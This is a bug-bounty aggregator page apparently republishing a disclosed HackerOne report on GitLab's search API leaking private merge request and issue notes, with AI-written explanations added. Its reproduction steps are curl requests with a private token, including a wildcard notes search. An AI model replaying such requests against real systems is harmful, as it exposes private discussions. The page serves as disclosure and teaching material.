Skip to content
Access control Disclosed report Intermediate

Elastic search leaks private merge requests and issues discussions

The GitLab search API returned notes (comments) from issues and merge requests that the requesting user could not access, including notes from private merge requests. An attacker with a token could search for notes and read private discussions, file names with git SHAs, and private project names.

GitLab

Originally disclosed on GitLab

  • Fixed in 30 days
  • Disclosed after 30 days

HackerOne report #729760 by rpadovani on 2019-11-05, assigned to @jeremymatos:

Dev Issue

https://dev.gitlab.org/gitlab/gitlab-ee/issues/[REDACTED]

Summary

Using the Gitlab Search APIs, I am able to access objects of type notes that I shouldn't access. There are two kinds of these objects:

  • notes in issues I have access to, but I shouldn't see the single note
  • notes in merge requests I haven't access to

Steps to reproduce

I have access to the issue where this notes has been inserted, but not to the object referred in the notes itself:

11:32:29 in ~   
➜ curl "https://gitlab.com/api/v4/projects/[REDACTED]/search?scope=notes&search=[REDACTED]" --header "PRIVATE-TOKEN: token" | jq      
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed  
100   520  100   520    0     0    689      0 --:--:-- --:--:-- --:--:--   688  
[
  {  
    "id": [REDACTED],  
    "type": null,  
    "body": "mentioned in issue [REDACTED]/gui#109",  
    "attachment": null,  
    "author": {  
      "id": [REDACTED],  
      "name": [REDACTED]",  
      "username": "[REDACTED]",  
      "state": "active",  
      "avatar_url": "https://secure.gravatar.com/avatar/[REDACTED]?s=80&d=identicon",  
      "web_url": "https://gitlab.com/[REDACTED]"  
    },  
    "created_at": "2019-02-19T12:54:23.670Z",  
    "updated_at": "2019-02-19T12:54:23.670Z",  
    "system": true,  
    "noteable_id": [REDACTED],  
    "noteable_type": "Issue",  
    "resolvable": false,  
    "noteable_iid": [REDACTED]  
  }  
]

11:32:47 in ~   
➜ curl "https://gitlab.com/api/v4/projects?search=virtualcore" --header "PRIVATE-TOKEN: token" | jq                 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed  
100     2  100     2    0     0      3      0 --:--:-- --:--:-- --:--:--     3  
[]

11:32:56 in ~   
➜ curl "https://gitlab.com/api/v4/projects?search=VirtualCore" --header "PRIVATE-TOKEN: token" | jq  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed  
100     
[]  

While I don't have access at all to the merge requests where these notes come from - as you know, the code / MR / pipelines of customers.gitlab.com are private. Also, these information are (partially) available also through the GUI (see screenshot):

11:50:14 in ~ took 2s   
➜ curl "https://gitlab.com/api/v4/projects/[REDACTED]/search?scope=notes&search=*&per_page=1" --header "PRIVATE-TOKEN: token" | jq  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed  
100  1682  100  1682    0     0   1752      0 --:--:-- --:--:-- --:--:--  1750  
[
  {  
    "id": [REDACTED],  
    "type": "DiscussionNote",  
    "body": "[REDACTED],  
    "attachment": null,  
    "author": {  
      "id": 4303974,  
      "name": "[REDACTED],  
      "username": "[REDACTED]",  
      "state": "active",  
      "avatar_url": "https://assets.gitlab-static.net/uploads/-/system/user/avatar/[REDACTED]/avatar.png",  
      "web_url": "https://gitlab.com/[REDACTED]"  
    },  
    "created_at": "2019-11-04T21:10:41.148Z",  
    "updated_at": "2019-11-05T07:33:07.584Z",  
    "system": false,  
    "noteable_id": [REDACTED],  
    "noteable_type": "MergeRequest",  
    "resolvable": true,  
    "resolved": false,  
    "resolved_by": null,  
    "noteable_iid": 520  
  }  
]

Impact

Leaking notes and discussions that are private. This reveals discussions, names of files referred in discussions (with git sha), private project names and probably more.

Impact

Leaking notes and discussions that are private. This reveals discussions, names of files referred in discussions (with git sha), private project names and probably more.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

*[REDACTED]

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the search API's notes scope did not apply the same authorisation checks as the normal note listing, so it returned notes from projects and merge requests the user could not access.

Impact

Private notes and discussions, including file names with git SHAs and private project names, could be leaked to users who should not see them.

What the attacker needed

A GitLab account with a personal access token; access to at least one project

How it was found

  1. Send a search request to the notes scope of a project the user can access.
  2. Observe that the response includes notes from merge requests the user cannot access.
  3. Search with a wildcard to retrieve a discussion note from a private merge request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GitLab lets users search across projects they can see. A note is a comment on an issue or merge request. The search feature failed to check whether the person searching was allowed to see each comment, so it returned comments from private merge requests. This let a user read private discussions they were not supposed to see.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.